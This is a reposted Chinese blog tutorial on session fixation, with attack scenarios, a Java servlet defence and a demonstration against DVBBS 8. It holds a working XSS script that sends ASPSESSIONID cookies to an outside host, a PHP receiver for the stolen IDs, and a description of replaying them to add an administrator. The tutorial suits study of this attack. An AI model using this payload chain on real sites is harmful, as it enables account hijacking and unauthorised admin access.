[zhuan]Session Fixation 攻防实战

最新推荐文章于 2022-04-29 10:54:04 发布

newjueqi

最新推荐文章于 2022-04-29 10:54:04 发布

阅读量2.3k

点赞数

分类专栏： PHP 文章标签： session 服务器 struts 浏览器 csrf 工具

PHP 专栏收录该内容

82 篇文章 0 订阅

订阅专栏

http://amunet.blog.sohu.com/185676126.html

什么是Session Fixation ,翻译就是会话固定。

在此是指Web服务的会话ID是确知不变的，攻击者为受害着确定一个会话ID从而达到攻击的目的。在维基百科中专门有个词条Session fixation，在此引述其攻击情景，防范策略参考原文。

攻击场景

原文中Alice是受害者，她使用的一个银行网站http://unsafe/存在session fixation漏洞，Mallory是攻击者，他想盗窃Alice的银行中的存款，而Alice会点击Mallory发给她的网页连接（原因可能是 Alice认识Mallory，或者她自己的安全意识不强）。

攻击情景1：最简单：服务器接收任何会话ID

过程如下：

Mallory发现http://unsafe/接收任何会话ID，而且会话ID通过URL地址的查询参数携带到服务器，服务器不做检查 Mallory给Alice发送一个电子邮件，他可能假装是银行在宣传自己的新业务，例如，“我行推出了一项新服务，率先体验请点击：http://unsafe/?SID=I_WILL_KNOW_THE_SID"，I_WILL_KNOW_THE_SID是Mallory选定的一个会话ID。 Alice被吸引了，点击了 http://unsafe/?SID=I_WILL_KNOW_THE_SID，像往常一样，输入了自己的帐号和口令从而登录到银行网站。因为服务器的会话ID不改变，现在Mallory点击 http://unsafe/?SID=I_WILL_KNOW_THE_SID 后，他就拥有了Alice的身份。可以为所欲为了。攻击情景2：服务器产生的会话ID不变

过程如下：

Mallory访问 http://unsafe/ 并获得了一个会话ID（SID），例如服务器返回的形式是：Set-Cookie: SID=0D6441FEA4496C2 Mallory给Alice发了一个邮件：”我行推出了一项新服务，率先体验请点击：http://unsafe/?SID=0D6441FEA4496C2" Alice点击并登录了，后面发生的事与情景1相同攻击情景3：跨站cookie(cross-site cooking)

利用浏览器的漏洞，即使 http://good 很安全，但是，由于浏览器管理cookie的漏洞，使恶意网站 http://evil/ 能够向浏览器发送 http://good 的cookie。过程如下：

Mallory给Alice发送一个邮件“有个有趣的网站：http://evil 很好玩，不妨试试” Alice访问了这个链接，这个网站将一个会话ID取值为I_WILL_KNOW_THE_SID 的 http://good/ 域的cookie设置到浏览器中。 Mallory又给Alice发了个邮件：“我行推出了一项新服务，率先体验请点击：http://good/” 如果Alice登录了，Mallory就可以利用这个ID了

最近笔者在网上看到一个新文章《JSESSIONID Regeneration in Struts 2》，讲的是一段代码，在STRUTS 2框架中，防御Session Fixation攻击。笔者比较老土，看不懂英文，还好能看懂代码，发现这是一种平时开发中(至少自己是这样)，从来没注意过的攻击。关于这种攻击，刺在自己博客上写了篇文章《关于Session Fixation》。我在邮件列表，和文章后面跟帖讨论了下，但是仍然感觉自己说的不是很清晰，毕竟没有实战，所以实践了一下自己的想法，重新写篇文章补充下。注：为了保证质量，本文假设读者对cookie和session基本概念和特性已经掌握。

　　作者是从防御代码中，发现这种攻击的存在，所以，我们先看防御的代码：

public void doGet(HttpServletRequest request, HttpServletResponse response)
     throws ServletException, IOException {
     if(userid.equals("admin") && password.equals("admin"))  {
        request.getSession().invalidate();
        HttpSession session = request.getSession(true);
        session.setAttribute("AUTHENTICATED", new Boolean(true));
        response.sendRedirect("PageRequiringAuthentication.jsp");
//Additional Code  Would Normally Follow

　　这是一个很常见的登录过程，首先验证用户名密码是否正确，正确后，干掉当前session。然后重新获取一个新session，继续执行赋予用户管理权限。关键就是，这段代码干掉了当前的session。当服务器和客户端之间的session销毁时，因为客户端仍然向服务器发送数据，所以服务器会自动的新生成一个session。为什么以前的session不能用呢？

　　在作者刚看到邮件的时候，一直看不明白，因为站在程序员的角度，作者不知道为啥非要让session销毁了。如果不消毁session，程序一样正确执行，攻击者不知道管理员密码，一样进不来。如果这个人知道管理员密码，那么对于程序本身来说，这个人就已经是一个程序所期望的管理员了。但是换个角度想一下，管理员在管理网站的时候，通常都做些什么？在管理员登陆前，他还只是一个普通的浏览者，会去浏览一些公开页面，他可能在哪里发现了问题，需要进后台处理一下，于是他就登录了。就在这个很普通的过程中，如果程序没有在认证成功后，销毁session，则管理员在登录前和登录后，session是同一个。假设我们能够在前台，使用了XSS一类手段，获得了这个session，等他一旦登录，就“野鸡变凤凰”了。

　　在以往的XSS攻击、CSRF攻击中，我们总是把目光放在管理员登陆后，XSS他、CSRF他。都没有想过，如果管理员登陆后，不浏览XSS页面，怎么攻击？看到这段防御代码，作者突然想到了一种攻击手段，只要管理员曾经浏览过XSS页面（这时候只是普通用户），就能在他登录后，即使不再浏览 XSS页面，也能攻击到。

　　为了详细的描述和重现这种攻击方式，作者特意下载了动网BBS 8最新版本。首先做两个实验，来验证动网是否存在这个漏洞：

　　1、在登录前，查看自己的SESSIONID，管理员前台登录后，再查看SESSIONID，登录后台，再查看。发现这个值没有变动。就是说动网存在这个漏洞，登录前后，SESSIONID没有变。

　　2、为了保证实验成功，需要知道动网的后台是否仅仅通过SESSION来验证身份。登录后，抓包。修改包中的信息，修改username，提交，返回数据表明可以同过。再修改SESSIONID，却出现“本页面为管理员专。。。”字样，没有通过认证。这说明动网后台是仅仅通过session验证的，而不是cookie。

　　证明了这个漏洞的存在，下面就利用这个漏洞，攻击登录前的管理员。动网论坛的用户身份模式，可以很好的诠释这种攻击，用过动网的读者都知道，浏览动网的用户分为以下几种级别：“未注册用户”、“注册用户”、“前台管理员”、“后台管理员”。我们先架设好攻击环境，之后让一个未登陆的管理员，浏览论坛的XSS页面，之后登录到后台。

　　总体来看，利用这样的漏洞，需要以下一些东西：

　　1、a.php，一个脚本，用来接收XSS页面传来的SESSIONID，然后保存在haha.txt，可以放在任何一个支持php的空间里。

　　2、go.py，没隔5秒，请求一次haha.txt，获得SESSIONID值。之后把获得的SESSIONID值放入请求的COOKIE中，请求后台页面的“添加管理员功能”。

　　3、一个前台的XSS漏洞，这个漏洞我们自己可以构造出来。

　　作者为了仅仅说明这个问题，而不是大量的制造攻击，所以单独为动网写了个对应的脚本，go.py这个脚本，请求了动网后台的“添加管理员功能”。他会一直去请求，不管管理员有没有登录，在登录前，会收到“本页面为管理员专。。。”字样。但是管理员一旦登录，就会请求成功这个功能。

　　下图可以说明这次模拟实验：

　　第一步。首先架设好辅助攻击的服务器，服务器中有两个文件，一个是a.php。这个文件用来接收XSS发来的SESSIONID信息，然后保存为haha.txt。

　　第二步。执行go.py。这个文件会每隔5秒，请求一次haha.txt，读取其中的数据，解析为对应的SESSIONID，把SESSIONID放在发动包的COOKIE中，之后请求一次“添加管理员”这个功能。

　　管理员登录后台之后，SESSIONID就会成为了一个可以通过论坛验证的SESSIONID，这时候的请求会成为合法请求，登录之前的请求，全都是垃圾数据。在整个过程中，我们要求管理员在登录前浏览一次XSS页面，然后登陆。登录后，大概15秒的时候，就可以退出了。这点时间，我们的攻击，已经成功。

　　请注意，这次攻击的演示中，重点不是动网出现了XSS漏洞，而是Session Fixation，所以我们在前台假设他出现了XSS漏洞。制造这个漏洞很简单，论坛后台有个给版面加“本版版规”的功能，支持HTML。把XSS的内容放这里：

<script>url0="";url1="";cv=document.cookie.split("; ");for(i=0; i<cv.length; i++){cvv=cv[i].split("=");if(cvv[0].indexOf("ASPSESSIONID")>-1){cvtmp=cv[i];cvvtmp=cvtmp.split("=");url0=cvvtmp[0];url1=cvvtmp[1];}};function f(){ifm=document.createElement("IFRAME");document.body.appendChild(ifm);ifm.src="http://safe.it168.com/a.php?id="+url0+"&value="+url1;}setTimeout(f,"1000");</script>

　　用于提交SESSIONID到a.php。下面是一个COOKIE的内容：

　　请注意图片中的“ASPSESSIONIDASQCSSRT=PIMHLBHCDAPCDLMNLFBGHCIB”这部分，这里就是一个 SESSIONID和它的值。不仅仅是每次新的SESSIONID的值不一样，“ASPSESSIONIDASQCSSRT”这个KEY的名字，也是不同名称的。但是他逃脱不了一种模式，就是SESSIONID的名字，改来改去，总要让服务器认识。结合几次抓包内容，发现，这个字符串没有固定的名称，也没有固定的值，但是他总是以“ASPSESSIONID”开头。所以才会有了这段生涩难解的XSS代码。

　　php代码，用于接收提交过来的SESSIONID，保存：

<?php
$fp = fopen("haha.txt","wb");
fwrite($fp,$_GET["id"].",".$_GET["value"],strlen($_GET["id"].",".$_GET["value"]));
fclose($fp);
?>

　　下面先执行go.py。

　　可以看到代码一直在执行“添加管理员这个过程”，并且一直不能通过验证。

　　现在先浏览下XSS页面，查看那个有XSS的版面。先让程序获得SESSIONID，注意，还没有登录。

　　和前次不同的是，我们获取了sessionid。但是这个SESSIONID还没有通过验证，管理员还没有登录。之后使用管理员登录后台。

　　这张图，出现了提示信息“您输入的用户名已经在管理用户中存在!”，说明已经可以通过验证了，攻击成功。

　　可能有很多读者在本次攻击过程中想到了SESSION IE这个工具，该工具也可以获得管理员的SESSIONID，并且通过不断的访问，维持这个SESSIONID不被销毁。与之区别的是，如果管理员登录后，自己点了“退出”。那么这个维持中SESSIONID就没用了，除非你能在他没点退出之间，做了添加管理员操作，期待该工具更新本文所提功能。而这次的攻击过程中，即使管理员退出了，我们攻击也早就在管理员登陆的那一刹那间，攻击成功。Session Fixation最大的威胁，就是在登录前的XSS能一直威胁到了管理员登录，即使管理员登录后不再访问XSS页面，也不影响攻击效果。

　　工具go.py在这里提供下载，但是注意一点，这个工具，不是一个多线程的。实验的时候可以用，如果用于做坏事，除非修改它的代码，否则每一个看到XSS页面的人，都会提交SESSIONID上去，导致攻击失败。为了网络和谐，作者就不提供真正用于攻击的代码了，大家回去后自己研究。